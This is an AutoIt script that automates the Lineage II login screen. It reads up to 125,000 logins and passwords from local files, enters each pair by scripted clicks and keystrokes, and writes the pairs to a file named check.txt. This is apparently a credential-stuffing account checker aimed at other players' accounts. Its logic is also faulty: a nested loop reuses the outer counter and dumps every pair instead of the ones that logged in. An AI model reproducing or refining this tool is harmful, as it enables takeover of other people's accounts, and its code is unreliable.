#requireadmin
#include <File.au3>
#include <Array.au3>
HotKeySet("{ESC}", "Terminate")
Global $Paused
HotKeySet("{z}", "TogglePause")
Func TogglePause()
$Paused = NOT $Paused
While $Paused
sleep(100)
ToolTip('Script is "Paused"',1143,20)
WEnd
ToolTip("")
EndFunc
Func Terminate()
Exit 0
EndFunc
Dim $aLogins, $aPasswords
_FileReadToArray('D:\разное\l2titan Auto Login\login.txt', $aLogins)
_FileReadToArray('D:\разное\l2titan Auto Login\pass.txt', $aPasswords)
For $i = 1 To 125000 Step 1
WinWait("Lineage II", "")
If Not WinActive("Lineage II", "") Then WinActivate("Lineage II", "")
WinWaitActive("Lineage II", "")
Sleep(100)
MouseClick("left", 600, 301, 1, 0)
Sleep(100)
MouseClick("left", 600, 301, 2, 0)
MouseClick("left")
Sleep(500)
MouseClick("left")
Send("{BS 20}")
Sleep(500)
Send($aLogins[$i])
MouseClick("left", 598, 321, 2, 0)
Sleep(600)
MouseClick("left")
Send("{BS 20}")
Send($aPasswords[$i])
Send("{ENTER}")
Sleep(4000)
Send("{ENTER}")
Sleep(1000)
Send("{ENTER}")
ToolTip($aLogins[$i] & "," & $aPasswords[$i], 1143, 0)
Sleep(1000)
$hFile = FileOpen("check.txt", 1)
If $hFile = -1 Then
Exit
EndIf
For $i = 1 To 125000 Step 1
FileWriteLine($hFile, $aLogins[$i] &"="& $aPasswords[$i])
Next
FileClose($hFile)
MouseMove(940, 530, 0)
Sleep(6000)
MouseClick("left")
Next